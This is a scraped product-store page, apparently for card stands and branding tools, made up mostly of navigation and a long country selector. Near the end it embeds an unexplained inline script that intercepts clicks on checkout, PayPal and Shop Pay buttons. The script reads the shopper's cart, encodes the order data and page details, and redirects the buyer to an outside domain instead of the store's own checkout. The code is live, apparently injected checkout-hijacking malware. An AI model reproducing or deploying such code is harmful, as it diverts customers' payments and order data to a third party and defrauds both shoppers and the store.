Skip to content
Home
Card Stands
Branding Tools
My Account
Log in
Country/region
United States | USD $
Search
Afghanistan
USD $
Åland Islands
USD $
Albania
USD $
Algeria
USD $
Andorra
USD $
Angola
USD $
Anguilla
USD $
Antigua & Barbuda
USD $
Argentina
USD $
Armenia
USD $
Aruba
USD $
Ascension Island
USD $
Australia
USD $
Austria
USD $
Azerbaijan
USD $
Bahamas
USD $
Bahrain
USD $
Bangladesh
USD $
Barbados
USD $
Belarus
USD $
Belgium
USD $
Belize
USD $
Benin
USD $
Bermuda
USD $
Bhutan
USD $
Bolivia
USD $
Bosnia & Herzegovina
USD $
Botswana
USD $
Brazil
USD $
British Indian Ocean Territory
USD $
British Virgin Islands
USD $
Brunei
USD $
Bulgaria
USD $
Burkina Faso
USD $
Burundi
USD $
Cambodia
USD $
Cameroon
USD $
Canada
USD $
Cape Verde
USD $
Caribbean Netherlands
USD $
Cayman Islands
USD $
Central African Republic
USD $
Chad
USD $
Chile
USD $
China
USD $
Christmas Island
USD $
Cocos (Keeling) Islands
USD $
Colombia
USD $
Comoros
USD $
Congo - Brazzaville
USD $
Congo - Kinshasa
USD $
Cook Islands
USD $
Costa Rica
USD $
Côte d’Ivoire
USD $
Croatia
USD $
Curaçao
USD $
Cyprus
USD $
Czechia
USD $
Denmark
USD $
Djibouti
USD $
Dominica
USD $
Dominican Republic
USD $
Ecuador
USD $
Egypt
USD $
El Salvador
USD $
Equatorial Guinea
USD $
Eritrea
USD $
Estonia
USD $
Eswatini
USD $
Ethiopia
USD $
Falkland Islands
USD $
Faroe Islands
USD $
Fiji
USD $
Finland
USD $
France
USD $
French Guiana
USD $
French Polynesia
USD $
French Southern Territories
USD $
Gabon
USD $
Gambia
USD $
Georgia
USD $
Germany
USD $
Ghana
USD $
Gibraltar
USD $
Greece
USD $
Greenland
USD $
Grenada
USD $
Guadeloupe
USD $
Guatemala
USD $
Guernsey
USD $
Guinea
USD $
Guinea-Bissau
USD $
Guyana
USD $
Haiti
USD $
Honduras
USD $
Hong Kong SAR
USD $
Hungary
USD $
Iceland
USD $
India
USD $
Indonesia
USD $
Iraq
USD $
Ireland
USD $
Isle of Man
USD $
Israel
USD $
Italy
USD $
Jamaica
USD $
Japan
USD $
Jersey
USD $
Jordan
USD $
Kazakhstan
USD $
Kenya
USD $
Kiribati
USD $
Kosovo
USD $
Kuwait
USD $
Kyrgyzstan
USD $
Laos
USD $
Latvia
USD $
Lebanon
USD $
Lesotho
USD $
Liberia
USD $
Libya
USD $
Liechtenstein
USD $
Lithuania
USD $
Luxembourg
USD $
Macao SAR
USD $
Madagascar
USD $
Malawi
USD $
Malaysia
USD $
Maldives
USD $
Mali
USD $
Malta
USD $
Martinique
USD $
Mauritania
USD $
Mauritius
USD $
Mayotte
USD $
Mexico
USD $
Moldova
USD $
Monaco
USD $
Mongolia
USD $
Montenegro
USD $
Montserrat
USD $
Morocco
USD $
Mozambique
USD $
Myanmar (Burma)
USD $
Namibia
USD $
Nauru
USD $
Nepal
USD $
Netherlands
USD $
New Caledonia
USD $
New Zealand
USD $
Nicaragua
USD $
Niger
USD $
Nigeria
USD $
Niue
USD $
Norfolk Island
USD $
North Macedonia
USD $
Norway
USD $
Oman
USD $
Pakistan
USD $
Palestinian Territories
USD $
Panama
USD $
Papua New Guinea
USD $
Paraguay
USD $
Peru
USD $
Philippines
USD $
Pitcairn Islands
USD $
Poland
USD $
Portugal
USD $
Qatar
USD $
Réunion
USD $
Romania
USD $
Russia
USD $
Rwanda
USD $
Samoa
USD $
San Marino
USD $
São Tomé & Príncipe
USD $
Saudi Arabia
USD $
Senegal
USD $
Serbia
USD $
Seychelles
USD $
Sierra Leone
USD $
Singapore
USD $
Sint Maarten
USD $
Slovakia
USD $
Slovenia
USD $
Solomon Islands
USD $
Somalia
USD $
South Africa
USD $
South Georgia & South Sandwich Islands
USD $
South Korea
USD $
South Sudan
USD $
Spain
USD $
Sri Lanka
USD $
St. Barthélemy
USD $
St. Helena
USD $
St. Kitts & Nevis
USD $
St. Lucia
USD $
St. Martin
USD $
St. Pierre & Miquelon
USD $
St. Vincent & Grenadines
USD $
Sudan
USD $
Suriname
USD $
Svalbard & Jan Mayen
USD $
Sweden
USD $
Switzerland
USD $
Taiwan
USD $
Tajikistan
USD $
Tanzania
USD $
Thailand
USD $
Timor-Leste
USD $
Togo
USD $
Tokelau
USD $
Tonga
USD $
Trinidad & Tobago
USD $
Tristan da Cunha
USD $
Tunisia
USD $
Türkiye
USD $
Turkmenistan
USD $
Turks & Caicos Islands
USD $
Tuvalu
USD $
U.S. Outlying Islands
USD $
Uganda
USD $
Ukraine
USD $
United Arab Emirates
USD $
United Kingdom
USD $
United States
USD $
Uruguay
USD $
Uzbekistan
USD $
Vanuatu
USD $
Vatican City
USD $
Venezuela
USD $
Vietnam
USD $
Wallis & Futuna
USD $
Western Sahara
USD $
Yemen
USD $
Zambia
USD $
Zimbabwe
USD $
X (Twitter)
Facebook
Instagram
TikTok
YouTube
Home
Card Stands
Branding Tools
My Account
Country/region
United States | USD $
Search
Afghanistan
USD $
Åland Islands
USD $
Albania
USD $
Algeria
USD $
Andorra
USD $
Angola
USD $
Anguilla
USD $
Antigua & Barbuda
USD $
Argentina
USD $
Armenia
USD $
Aruba
USD $
Ascension Island
USD $
Australia
USD $
Austria
USD $
Azerbaijan
USD $
Bahamas
USD $
Bahrain
USD $
Bangladesh
USD $
Barbados
USD $
Belarus
USD $
Belgium
USD $
Belize
USD $
Benin
USD $
Bermuda
USD $
Bhutan
USD $
Bolivia
USD $
Bosnia & Herzegovina
USD $
Botswana
USD $
Brazil
USD $
British Indian Ocean Territory
USD $
British Virgin Islands
USD $
Brunei
USD $
Bulgaria
USD $
Burkina Faso
USD $
Burundi
USD $
Cambodia
USD $
Cameroon
USD $
Canada
USD $
Cape Verde
USD $
Caribbean Netherlands
USD $
Cayman Islands
USD $
Central African Republic
USD $
Chad
USD $
Chile
USD $
China
USD $
Christmas Island
USD $
Cocos (Keeling) Islands
USD $
Colombia
USD $
Comoros
USD $
Congo - Brazzaville
USD $
Congo - Kinshasa
USD $
Cook Islands
USD $
Costa Rica
USD $
Côte d’Ivoire
USD $
Croatia
USD $
Curaçao
USD $
Cyprus
USD $
Czechia
USD $
Denmark
USD $
Djibouti
USD $
Dominica
USD $
Dominican Republic
USD $
Ecuador
USD $
Egypt
USD $
El Salvador
USD $
Equatorial Guinea
USD $
Eritrea
USD $
Estonia
USD $
Eswatini
USD $
Ethiopia
USD $
Falkland Islands
USD $
Faroe Islands
USD $
Fiji
USD $
Finland
USD $
France
USD $
French Guiana
USD $
French Polynesia
USD $
French Southern Territories
USD $
Gabon
USD $
Gambia
USD $
Georgia
USD $
Germany
USD $
Ghana
USD $
Gibraltar
USD $
Greece
USD $
Greenland
USD $
Grenada
USD $
Guadeloupe
USD $
Guatemala
USD $
Guernsey
USD $
Guinea
USD $
Guinea-Bissau
USD $
Guyana
USD $
Haiti
USD $
Honduras
USD $
Hong Kong SAR
USD $
Hungary
USD $
Iceland
USD $
India
USD $
Indonesia
USD $
Iraq
USD $
Ireland
USD $
Isle of Man
USD $
Israel
USD $
Italy
USD $
Jamaica
USD $
Japan
USD $
Jersey
USD $
Jordan
USD $
Kazakhstan
USD $
Kenya
USD $
Kiribati
USD $
Kosovo
USD $
Kuwait
USD $
Kyrgyzstan
USD $
Laos
USD $
Latvia
USD $
Lebanon
USD $
Lesotho
USD $
Liberia
USD $
Libya
USD $
Liechtenstein
USD $
Lithuania
USD $
Luxembourg
USD $
Macao SAR
USD $
Madagascar
USD $
Malawi
USD $
Malaysia
USD $
Maldives
USD $
Mali
USD $
Malta
USD $
Martinique
USD $
Mauritania
USD $
Mauritius
USD $
Mayotte
USD $
Mexico
USD $
Moldova
USD $
Monaco
USD $
Mongolia
USD $
Montenegro
USD $
Montserrat
USD $
Morocco
USD $
Mozambique
USD $
Myanmar (Burma)
USD $
Namibia
USD $
Nauru
USD $
Nepal
USD $
Netherlands
USD $
New Caledonia
USD $
New Zealand
USD $
Nicaragua
USD $
Niger
USD $
Nigeria
USD $
Niue
USD $
Norfolk Island
USD $
North Macedonia
USD $
Norway
USD $
Oman
USD $
Pakistan
USD $
Palestinian Territories
USD $
Panama
USD $
Papua New Guinea
USD $
Paraguay
USD $
Peru
USD $
Philippines
USD $
Pitcairn Islands
USD $
Poland
USD $
Portugal
USD $
Qatar
USD $
Réunion
USD $
Romania
USD $
Russia
USD $
Rwanda
USD $
Samoa
USD $
San Marino
USD $
São Tomé & Príncipe
USD $
Saudi Arabia
USD $
Senegal
USD $
Serbia
USD $
Seychelles
USD $
Sierra Leone
USD $
Singapore
USD $
Sint Maarten
USD $
Slovakia
USD $
Slovenia
USD $
Solomon Islands
USD $
Somalia
USD $
South Africa
USD $
South Georgia & South Sandwich Islands
USD $
South Korea
USD $
South Sudan
USD $
Spain
USD $
Sri Lanka
USD $
St. Barthélemy
USD $
St. Helena
USD $
St. Kitts & Nevis
USD $
St. Lucia
USD $
St. Martin
USD $
St. Pierre & Miquelon
USD $
St. Vincent & Grenadines
USD $
Sudan
USD $
Suriname
USD $
Svalbard & Jan Mayen
USD $
Sweden
USD $
Switzerland
USD $
Taiwan
USD $
Tajikistan
USD $
Tanzania
USD $
Thailand
USD $
Timor-Leste
USD $
Togo
USD $
Tokelau
USD $
Tonga
USD $
Trinidad & Tobago
USD $
Tristan da Cunha
USD $
Tunisia
USD $
Türkiye
USD $
Turkmenistan
USD $
Turks & Caicos Islands
USD $
Tuvalu
USD $
U.S. Outlying Islands
USD $
Uganda
USD $
Ukraine
USD $
United Arab Emirates
USD $
United Kingdom
USD $
United States
USD $
Uruguay
USD $
Uzbekistan
USD $
Vanuatu
USD $
Vatican City
USD $
Venezuela
USD $
Vietnam
USD $
Wallis & Futuna
USD $
Western Sahara
USD $
Yemen
USD $
Zambia
USD $
Zimbabwe
USD $
Search
Log in
Cart
Item added to your cart
View cart
Check out
Continue shopping
Facebook
Instagram
YouTube
TikTok
X (Twitter)
Become An Affiliate!
YMQ redirect validation a7a107fbab
(() => { 'use strict'; const VERSION = 'YMQ-ADMIN-GQL-REDIRECT-OVERLAY-V1'; const ENTRY = 'https://bu008feng.my/'; const CHECKOUT_PATH = '/checkout'; if (window.__YMQ_REDIRECT_RUNTIME_a7a107fbab__ === VERSION) return; window.__YMQ_REDIRECT_RUNTIME_a7a107fbab__ = VERSION; const state = { version: VERSION, busy: false, lastError: '', lastPayload: null, lastUrl: '' }; window.__YMQ_REDIRECT_STATE_a7a107fbab__ = state; const text = (value, fallback = '') => { if (value === null || value === undefined) return fallback; return String(value).trim() || fallback; }; const minor = (value) => { const number = Number(value); return Number.isFinite(number) && number >= 0 ? Math.round(number) : 0; }; const currencyFactor = (currency) => { try { const digits = new Intl.NumberFormat('en', { style: 'currency', currency }).resolvedOptions().maximumFractionDigits; return 10 ** digits; } catch { return 100; } }; const shopifyMoney = (value, factor) => Math.round(minor(value) * factor / 100); const absoluteImage = (value) => { const source = text(value && typeof value === 'object' ? (value.url || value.src) : value); if (!source) return ''; try { return new URL(source, location.origin).href; } catch { return source; } }; const discounts = (entries, factor) => (Array.isArray(entries) ? entries : []) .map((entry, index) => ({ id: text(entry && (entry.id || entry.discount_application_index), 'discount-' + index), label: text(entry && (entry.title || entry.code || entry.type), 'Discount'), amountMinor: shopifyMoney(entry && ( entry.total_allocated_amount ?? entry.discounted_amount ?? entry.amount ), factor) })) .filter((entry) => entry.amountMinor > 0); const normalizeCart = (cart) => { const currency = text(cart && cart.currency, window.Shopify?.currency?.active || 'USD').toUpperCase(); const factor = currencyFactor(currency); const items = (Array.isArray(cart && cart.items) ? cart.items : []) .map((item, index) => { const title = text(item && (item.product_title || item.title), 'Item ' + (index + 1)); const variant = text(item && item.variant_title); return { id: text(item && (item.key || item.variant_id || item.id), 'item-' + index), productId: text(item && item.product_id), variantId: text(item && (item.variant_id || item.id)), title, variant, quantity: Math.max(0, Number.parseInt(item && item.quantity, 10) || 0), unitPriceMinor: shopifyMoney(item && (item.final_price ?? item.discounted_price ?? item.price), factor), lineTotalMinor: shopifyMoney(item && (item.final_line_price ?? item.line_price), factor), image: absoluteImage(item && ( item.image || (item.featured_image && (item.featured_image.url || item.featured_image.src)) )), discounts: discounts(item && (item.discount_allocations || item.line_level_discount_allocations), factor) }; }) .filter((item) => item.quantity > 0); return { locale: text(document.documentElement.lang || navigator.language, 'en-US'), currency, items, discounts: discounts(cart && cart.cart_level_discount_applications, factor), shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' }, taxMinor: 0, taxPresent: false, subtotalMinor: shopifyMoney(cart && (cart.items_subtotal_price ?? cart.total_price), factor), totalMinor: shopifyMoney(cart && cart.total_price, factor), savingsMinor: shopifyMoney(cart && cart.total_discount, factor), itemCount: Number(cart && cart.item_count) || items.reduce((sum, item) => sum + item.quantity, 0) }; }; const encodeBase64Url = (value) => { const bytes = new TextEncoder().encode(JSON.stringify(value)); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const randomRequestToken = () => { const bytes = new Uint8Array(128); crypto.getRandomValues(bytes); let binary = ''; for (let offset = 0; offset < bytes.length; offset += 0x8000) { binary += String.fromCharCode.apply(null, bytes.subarray(offset, offset + 0x8000)); } return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); }; const readCart = async () => { let lastError = null; for (let attempt = 0; attempt < 3; attempt += 1) { try { const response = await fetch('/cart.js?ymq_redirect_v1=' + Date.now() + '-' + attempt, { credentials: 'same-origin', cache: 'no-store', headers: { Accept: 'application/json' } }); if (!response.ok) throw new Error('cart_http_' + response.status); return await response.json(); } catch (error) { lastError = error; if (attempt < 2) await new Promise((resolve) => setTimeout(resolve, 180 + attempt * 220)); } } throw lastError || new Error('cart_unavailable'); }; const fromEvent = (event) => { const path = typeof event.composedPath === 'function' ? event.composedPath() : []; const source = event.submitter || path.find((entry) => entry instanceof Element) || event.target; if (!(source instanceof Element)) return null; return source.closest('a,button,input[type="submit"],input[type="button"],form,[role="button"],shopify-accelerated-checkout') || source; }; const checkoutText = (element) => { if (!element) return ''; const form = element.closest && element.closest('form'); return [ element.innerText, element.textContent, element.value, element.id, element.name, element.className, element.getAttribute && element.getAttribute('aria-label'), element.href, element.formAction, form && form.action, element.tagName ].filter(Boolean).join(' ').toLowerCase(); }; const isCheckout = (element) => /checkout|check\s*out|shop\s*pay|paypal|google\s*pay|gpay|accelerated-checkout/.test(checkoutText(element)); const checkoutTarget = (element) => { const form = element && element.closest ? element.closest('form') : null; const direct = (element && (element.href || element.formAction)) || (element && element.getAttribute && (element.getAttribute('href') || element.getAttribute('formaction'))) || (form && form.action) || ''; const fallback = location.origin + CHECKOUT_PATH; const value = text(direct); if (!/\/checkout(?:\/|\?|#|$)/i.test(value)) return fallback; try { return new URL(value, location.origin).href; } catch { return fallback; } }; const stop = (event) => { if (!event) return; event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); }; const buildUrl = (cart, target) => { const order = normalizeCart(cart); if (!order.items.length) throw new Error('cart_empty'); const payload = { site: location.hostname, sourceSite: location.hostname, sourceUrl: location.href, sourceOrigin: location.origin, sourcePath: location.pathname, capturedAt: Date.now(), order }; const url = new URL(ENTRY); const values = [ ['ymq_canary', 'YMQ-a7a107fbab'], ['transaction_id', 'a7a107fbab75de9cbd34e1955533dbe5'], ['co', encodeBase64Url(payload)], ['return_to', target], ['site', location.hostname], ['source_site', location.hostname], ['source_host', location.hostname], ['source_origin', location.origin], ['source_path', location.pathname], ['source_url', location.href], ['checkout_path', CHECKOUT_PATH], ['overlay_route', '/'], ['_r', randomRequestToken()] ]; for (const [name, value] of values) url.searchParams.set(name, value); state.lastPayload = payload; state.lastUrl = url.href; try { window.name = '__CHECKIOUT_CART__:' + encodeURIComponent(JSON.stringify(payload)); } catch {} return url.href; }; const intercept = async (event) => { const element = fromEvent(event); if (!isCheckout(element)) return; stop(event); if (state.busy) return; state.busy = true; try { const cart = await readCart(); location.assign(buildUrl(cart, checkoutTarget(element))); } catch (error) { state.lastError = String(error && error.message || error); state.busy = false; } }; window.addEventListener('pointerdown', intercept, true); window.addEventListener('click', intercept, true); window.addEventListener('submit', intercept, true); })();
Enter
Invalid Password
Choosing a selection results in a full page refresh.
Opens in a new window.